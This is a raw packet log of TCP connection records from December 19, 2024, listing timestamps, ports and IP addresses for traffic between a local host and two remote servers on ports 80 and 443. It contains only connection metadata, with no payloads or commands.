Dec 19, 2024 14:10:28.651041985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.651124954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.651953936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.652034044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.652045965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.652096033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.653000116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.653058052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.653146982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.653197050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.654069901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.654128075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.654216051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.654301882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.654963017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.655014992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.655075073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.655129910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.656002998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.656052113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.656112909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.656240940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.657121897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.657208920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.657226086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.657274961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.658092022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.658160925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.658164978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.658215046 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.658901930 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.658909082 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.659109116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.659174919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.659207106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.659260035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.660099030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.660156012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.660168886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.660212040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.661128998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.661183119 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.661295891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.661350965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.662159920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.662213087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.662256956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.662309885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.663173914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.663233995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.663331032 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.663410902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.664216995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.664275885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.664283037 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.664414883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.665194035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.665251970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.665251970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.665309906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.666244984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.666301966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.666336060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.666439056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.667294979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.667351961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.667366028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.667501926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.668277979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.668345928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.668401957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.668452024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.669275999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.669334888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.669486046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.669588089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.670356989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.670412064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.670594931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.670690060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.671351910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.671403885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.671463013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.671524048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.672403097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.672488928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.672514915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.672732115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.673353910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.673409939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.673480988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.673594952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.674391985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.674474955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.674489021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.674536943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.675425053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.675478935 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.675594091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.675646067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.676409960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.676461935 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.676609039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.676660061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.677472115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.677524090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.677562952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.677633047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.705719948 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.724239111 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.728143930 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.728302956 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.728312016 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.768228054 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.796106100 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.798434019 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.798496008 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.798511982 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.798531055 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.798587084 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.798671961 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.798686028 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.798698902 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.798706055 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.808979034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.809061050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.809145927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.809231043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.809468031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.809546947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.809644938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.809700012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.809743881 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.809777021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.810616970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.810765982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.810826063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.811669111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.811754942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.811808109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.811860085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.812664032 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.812747955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.812791109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.812868118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.813685894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.813837051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.813898087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.814017057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.814728975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.816281080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.823719025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.823822975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.823895931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.823915005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.823940992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.823965073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.823996067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.824960947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.825021029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.825107098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.825158119 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.826071024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.826124907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.826136112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.826175928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.826910019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.826966047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.827074051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.827116966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.827991009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.828068018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.828126907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.828946114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.829005003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.829049110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.829104900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.829946041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.830041885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.830058098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.830111980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.830995083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.831044912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.831101894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.831151009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.832027912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.832086086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.832106113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.832672119 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.833025932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.833077908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.833107948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.833156109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.834068060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.834127903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.834178925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.834228992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.835062981 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.835175991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.835230112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.836081028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.836137056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.836185932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.836237907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.837130070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.837222099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.837280989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.838208914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.838274956 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.838289976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.838336945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.839144945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.839211941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.839253902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.839304924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.840178967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.840255976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.840264082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.840311050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.841337919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.841407061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.841466904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.842247963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.842324972 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.842398882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.843373060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.843452930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.843569994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.843569994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.844296932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.844343901 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.844362020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.844410896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.845284939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.845350981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.845457077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.845509052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.846374035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.846419096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.846481085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.847414017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.847460985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.847466946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.847510099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.848350048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.848423958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.848485947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.849342108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.849457026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.849514008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.850369930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.850385904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.850425959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.850459099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.851373911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.851448059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.851490021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.851536036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.852431059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.852485895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.852526903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.852579117 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.853441000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.853487968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.853550911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.853606939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.854425907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.854485035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.854556084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.854604959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.855473042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.855514050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.855521917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.855556011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.856506109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.856622934 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.856652021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.856775999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.857657909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.857700109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.857722998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.857753038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.858516932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.858576059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.858659029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.858971119 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.859580994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.859642982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.859749079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.859810114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.860579967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.860632896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.860681057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.860733032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.861573935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.861643076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.861735106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.861793995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.862612009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.862673044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.862714052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.862783909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.863667965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.863720894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.863722086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.863776922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.864674091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.864726067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.864873886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.864928007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.865669012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.865758896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.865765095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.865818977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.866687059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.866735935 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.866785049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.866839886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.867733002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.867806911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.867849112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.868096113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.868788958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.868850946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.868884087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.868931055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.869785070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.869844913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.869851112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.869901896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.001312971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.001424074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.001640081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.001956940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.002027035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.002068996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.002125025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.003196001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.003269911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.003324986 CET	80	49800	31.41.244.11	192.168.2.4
